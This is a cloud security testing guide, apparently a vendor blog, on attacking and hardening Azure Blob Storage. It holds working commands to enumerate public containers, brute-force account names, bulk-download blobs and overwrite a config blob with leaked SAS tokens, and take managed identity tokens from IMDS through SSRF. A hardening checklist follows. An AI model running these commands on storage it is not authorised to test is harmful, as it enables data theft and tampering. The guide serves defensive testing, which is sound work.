Azure Blob Storage is where sensitive data lives — backups, logs, user uploads, application configs, and secrets. Misconfigurations range from publicly accessible containers to over-privileged SAS tokens stored in source code. This guide covers systematic Azure Blob Storage security testing: discovering public containers, exploiting SAS token parameter tampering, exfiltrating storage account keys, bypassing ADLS Gen2 ACLs, and abusing managed identities for storage access escalation.
| Component | Misconfiguration | Impact |
|---|---|---|
| Container access level | Public Blob or Public Container | Unauthenticated read of all blobs |
| SAS tokens | Overly permissive, long-lived, leaked in code | Full storage read/write/delete |
| Storage Account Keys | Leaked in app config, rotation disabled | Full account access including all containers |
| Shared Key auth enabled | Cannot be disabled by default | Key theft = full account takeover |
| ADLS Gen2 ACLs | Incorrect ACL propagation, mask bypass | Unauthorized data lake access |
| Static website hosting | Directory listing, sensitive files served | PII/config file exposure |
| Private endpoint not enforced | Public internet access allowed | Wider attack surface, no VNet restriction |
# Azure storage accounts are at: {account}.blob.core.windows.net
# Container access levels: Private (no anon), Blob (anon reads), Container (anon list+read)
# Check if a known container is publicly accessible
ACCOUNT="storageaccountname"
CONTAINER="container-name"
curl -s "https://$ACCOUNT.blob.core.windows.net/$CONTAINER?restype=container&comp=list" | \
python3 -c "import sys; import xml.etree.ElementTree as ET; [print(b.find('Name').text) for b in ET.parse(sys.stdin).findall('.//Blob')]"
# If no blobs returned, check if container exists but is private:
curl -s -o /dev/null -w "%{http_code}" \
"https://$ACCOUNT.blob.core.windows.net/$CONTAINER?restype=container"
# 404 = doesn't exist, 403 = exists but private, 200 = public container
# Enumerate common container names
common_containers="assets backups logs data images uploads files public configs exports reports"
for container in $common_containers; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://$ACCOUNT.blob.core.windows.net/$container?restype=container")
echo "$container: HTTP $status"
done
# If container is public (200), list all blobs
curl -s "https://$ACCOUNT.blob.core.windows.net/public?restype=container&comp=list&maxresults=5000" | \
python3 << 'EOF'
import sys
import xml.etree.ElementTree as ET
tree = ET.parse(sys.stdin)
root = tree.getroot()
blobs = root.findall('.//Blob')
print(f"Total blobs: {len(blobs)}")
for blob in blobs:
name = blob.find('Name').text
size = blob.find('Properties/Content-Length').text if blob.find('Properties/Content-Length') is not None else '?'
print(f" {name} ({size} bytes)")
EOF
# Method 1: Azure AD app registrations leak storage endpoints
# Check app config files in repositories for storage account names
# Method 2: DNS brute force for storage account names
# Azure storage uses predictable naming: companyname.blob.core.windows.net
for name in company company-prod company-backup company-logs companybackup companylogs; do
result=$(curl -s -o /dev/null -w "%{http_code}" \
"https://$name.blob.core.windows.net/?comp=list")
[[ "$result" != "404" ]] && echo "FOUND: $name.blob.core.windows.net ($result)"
done
# Method 3: TruffleHog / GitLeaks to find SAS tokens in repos
trufflehog git --repo https://github.com/target/repo --json 2>/dev/null | \
python3 -c "import json,sys; [print(r.get('Raw','')[:100]) for r in (json.loads(l) for l in sys.stdin) if 'azure' in r.get('Raw','').lower() or 'blob' in r.get('Raw','').lower()]"
Shared Access Signatures (SAS) are signed URLs that grant time-limited access to Azure Storage. Over-privileged or leaked SAS tokens are among the most common Azure storage vulnerabilities.
# SAS token format:
# https://{account}.blob.core.windows.net/{container}/{blob}?sv=2020-08-04&ss=b&srt=co&sp=rwdlacupiytfx&se=2027-01-01T00:00:00Z&st=2024-01-01T00:00:00Z&spr=https&sig=SIGNATURE
# Parameters:
# sp= Signed permissions: r=read, w=write, d=delete, l=list, a=add, c=create, u=update, p=process
# se= Signed expiry (how long it's valid)
# ss= Signed service: b=blob, q=queue, t=table, f=file
# srt= Signed resource types: s=service, c=container, o=object
# spr= Signed protocol (https or http)
# Parse a SAS token
SAS_URL="https://myaccount.blob.core.windows.net/mycontainer?sv=2020-08-04&ss=b&srt=co&sp=rwdlacupiytfx&se=2030-12-31T00:00:00Z&sig=XXX"
python3 << 'EOF'
from urllib.parse import urlparse, parse_qs
url = "https://myaccount.blob.core.windows.net/mycontainer?sv=2020-08-04&ss=b&srt=co&sp=rwdlacupiytfx&se=2030-12-31T00:00:00Z&sig=XXX"
params = parse_qs(urlparse(url).query)
perm_map = {'r':'read','w':'write','d':'delete','l':'list','a':'add','c':'create','u':'update','p':'process','x':'execute'}
perms = [perm_map.get(c,c) for c in params.get('sp',[''])[0]]
print(f"Permissions: {', '.join(perms)}")
print(f"Expires: {params.get('se',['?'])[0]}")
print(f"Services: {params.get('ss',['?'])[0]}")
print(f"Resource types: {params.get('srt',['?'])[0]}")
if 'w' in params.get('sp',[''])[0] and 'd' in params.get('sp',[''])[0]:
print("[!] CRITICAL: Token has write AND delete permissions")
if params.get('se',['2020'])[0] > '2026-12-31':
print("[!] WARNING: Token valid for more than 1 year")
EOF
# Scenario 1: List and download all blobs with a leaked SAS token
ACCOUNT="storageaccount"
CONTAINER="backups"
SAS="sv=2020-08-04&ss=b&srt=co&sp=rl&se=2027-01-01T00:00:00Z&sig=XXX"
# List blobs
curl -s "https://$ACCOUNT.blob.core.windows.net/$CONTAINER?restype=container&comp=list&$SAS" | \
grep -oP '(?<=)[^<]+'
# Download all blobs
for blob in $(curl -s "https://$ACCOUNT.blob.core.windows.net/$CONTAINER?restype=container&comp=list&$SAS" | grep -oP '(?<=)[^<]+'); do
curl -s -O "https://$ACCOUNT.blob.core.windows.net/$CONTAINER/$blob?$SAS"
echo "Downloaded: $blob"
done
# Scenario 2: Overwrite blobs with write SAS token
SAS_WRITE="sv=2020-08-04&ss=b&srt=o&sp=rw&se=2027-01-01T00:00:00Z&sig=XXX"
# Inject malicious content into an existing blob (e.g., a config file)
curl -s -X PUT \
"https://$ACCOUNT.blob.core.windows.net/$CONTAINER/config.json?$SAS_WRITE" \
-H "x-ms-blob-type: BlockBlob" \
-H "Content-Type: application/json" \
-d '{"backdoor": "injected", "admin_override": true}'
# Scenario 3: Account-level SAS vs Service SAS vs User delegation SAS
# Account SAS: full account access, signed with storage account key
# Service SAS: single service (Blob/Queue/Table/File), signed with storage key
# User delegation SAS: signed with Entra ID (AAD) user creds — more secure
# If sp includes 'srt=s' (service level), you can list all containers:
curl -s "https://$ACCOUNT.blob.core.windows.net/?comp=list&$SAS"
# Storage account keys provide full access to ALL data in the account
# Two keys exist (key1/key2) for rotation — both active simultaneously
# Method 1: Find keys in application config / environment variables
# Search code repositories
grep -rE "(AccountKey|storagekey|AZURE_STORAGE_KEY|DefaultEndpointsProtocol)" . \
--include="*.env" --include="*.yaml" --include="*.json" --include="*.config"
# Method 2: Read key from Azure Key Vault (if misconfigured)
# If an identity has 'get' access to Key Vault secrets:
az keyvault secret show --vault-name target-vault --name storage-key
# Method 3: Extract from Azure Instance Metadata Service (IMDS) via SSRF
# If app has SSRF and runs in Azure:
# 1. Reach IMDS: curl "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"
# 2. Get managed identity token: curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" -H "Metadata: true"
# 3. Use token to access storage:
TOKEN="managed_identity_token_from_imds"
curl -s "https://storageaccount.blob.core.windows.net/container?restype=container&comp=list" \
-H "Authorization: Bearer $TOKEN" \
-H "x-ms-date: $(date -u '+%a, %d %b %Y %H:%M:%S GMT')" \
-H "x-ms-version: 2020-08-04"
# Method 4: Read keys via ARM API (if Azure role allows)
# Reader role on storage account does NOT give key access
# Requires "Microsoft.Storage/storageAccounts/listKeys/action" permission
az storage account keys list --account-name storageaccount --resource-group rg
# Managed identities are the preferred auth method for Azure resources
# But overly permissive RBAC assignments on storage enable lateral movement
# From an Azure VM / App Service with managed identity:
# Get token for storage
curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" \
-H "Metadata: true" | python3 -c "import json,sys; t=json.load(sys.stdin); print(t.get('access_token','ERROR')[:50]+'...')"
# Use token to list all storage accounts in subscription (if Storage Reader)
TOKEN=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -H "Metadata: true" | python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
SUBSCRIPTION="your-subscription-id"
curl -s "https://management.azure.com/subscriptions/$SUBSCRIPTION/providers/Microsoft.Storage/storageAccounts?api-version=2021-09-01" \
-H "Authorization: Bearer $TOKEN" | \
python3 -c "import json,sys; [print(a['name'], a['properties']['primaryEndpoints']['blob']) for a in json.load(sys.stdin)['value']]"
# Check current managed identity RBAC assignments
az role assignment list --assignee $(az vm show --name myvm --query "identity.principalId" -o tsv) \
--all --query "[].{role:roleDefinitionName, scope:scope}" -o table
Azure Data Lake Storage Gen2 overlays POSIX-style ACLs on top of Azure RBAC. ACL inheritance and mask calculations can leave unexpected access paths open.
# ADLS Gen2 uses both RBAC and POSIX ACLs
# Test ACL configuration for a data lake path
# List ACLs on a path
az storage fs access show \
--account-name storageaccount \
--file-system filesystem \
--path /data/sensitive
# Check if default ACLs propagate correctly to new files
# Create a test file and check its inherited ACLs
az storage fs file create \
--account-name storageaccount \
--file-system filesystem \
--path /data/sensitive/test.txt
az storage fs access show \
--account-name storageaccount \
--file-system filesystem \
--path /data/sensitive/test.txt
# ACL mask bypass: the mask entry limits effective permissions for named users/groups
# If mask = rwx but named user = r-x → effective = r-x (mask doesn't limit)
# But if mask = r-- → even if named user = rwx, effective = r--
# Test by trying write as a named user identity
# Check if "Other" category has unexpected access
az storage fs access show --path / | python3 -c "
import json, sys
acl_str = json.load(sys.stdin)['acl']
entries = acl_str.split(',')
for entry in entries:
parts = entry.split(':')
if parts[0] == 'other' and 'r' in parts[-1]:
print(f'[!] Other has read access: {entry}')
if parts[0] == 'other' and 'w' in parts[-1]:
print(f'[CRITICAL] Other has write access: {entry}')
"
# Azure Storage can serve static websites from $web container
# Vulnerable if: sensitive files in $web, directory traversal, or CORS misconfiguration
# Check CORS configuration
az storage cors list --services b --account-name storageaccount
# Dangerous: AllowedOrigins: *, AllowedMethods: GET,PUT,DELETE
# Test for directory listing (index.html missing → may expose directory contents)
curl -s "https://storageaccount.z6.web.core.windows.net/nonexistent-path/"
# 404 page content: if it exposes blob names, directory listing exists
# Check for sensitive files served directly
for path in ".env" "config.json" "appsettings.json" ".git/config" "web.config" "backup.sql"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
"https://storageaccount.z6.web.core.windows.net/$path")
echo "$path: $code"
done
# CORS misconfiguration allows cross-origin reads
# If CORS allows * with credentials, an attacker's site can fetch blobs
curl "https://storageaccount.blob.core.windows.net/public/data.json" \
-H "Origin: https://evil.com" -I | grep -i "access-control"
# 1. Disable anonymous (public) container access at account level
az storage account update \
--name storageaccount \
--resource-group rg \
--allow-blob-public-access false
# 2. Disable shared key authorization (force Entra ID auth only)
az storage account update \
--name storageaccount \
--resource-group rg \
--allow-shared-key-access false
# 3. Enforce HTTPS only
az storage account update \
--name storageaccount \
--resource-group rg \
--https-only true
# 4. Enable Storage Firewall — restrict to specific VNets/IPs
az storage account network-rule add \
--name storageaccount \
--resource-group rg \
--vnet-name myVNet \
--subnet mySubnet
az storage account update \
--name storageaccount \
--resource-group rg \
--default-action Deny
# 5. Enable soft delete and blob versioning (ransomware protection)
az storage blob service-properties delete-policy update \
--account-name storageaccount \
--enable true \
--days-retained 30
# 6. Use User Delegation SAS instead of Account/Service SAS
# User delegation SAS is signed with Entra ID creds — revocable via identity
az storage fs generate-sas \
--account-name storageaccount \
--file-system myfs \
--permissions rl \
--expiry "2026-12-31T00:00:00Z" \
--auth-mode login
# 7. Enable Microsoft Defender for Storage
az security pricing create \
--name StorageAccounts \
--tier Standard
# 8. Audit SAS token usage in Storage Analytics logs
az storage logging update \
--account-name storageaccount \
--log rwd \
--retention 90 \
--services b
| Test | Method | Risk |
|---|---|---|
| Public container enumeration | curl ?restype=container to common names | Critical |
| SAS token permission audit | Parse sp, se, srt parameters | Critical |
| Account key in code/config | grep for AccountKey/DefaultEndpointsProtocol | Critical |
| Managed identity token abuse | IMDS endpoint via SSRF | High |
| ADLS ACL other:r access | az storage fs access show / | High |
| CORS wildcard origin | Check CORS config for * | High |
| Shared key auth enabled | az storage account show check properties | High |
| Public internet access (no firewall) | az storage account show network rules | Medium |
Ironimo automatically tests Azure Blob Storage for public containers, SAS token over-privilege, shared key access, network firewall gaps, and managed identity abuse paths — giving you a complete picture of your Azure storage attack surface.
Start free scan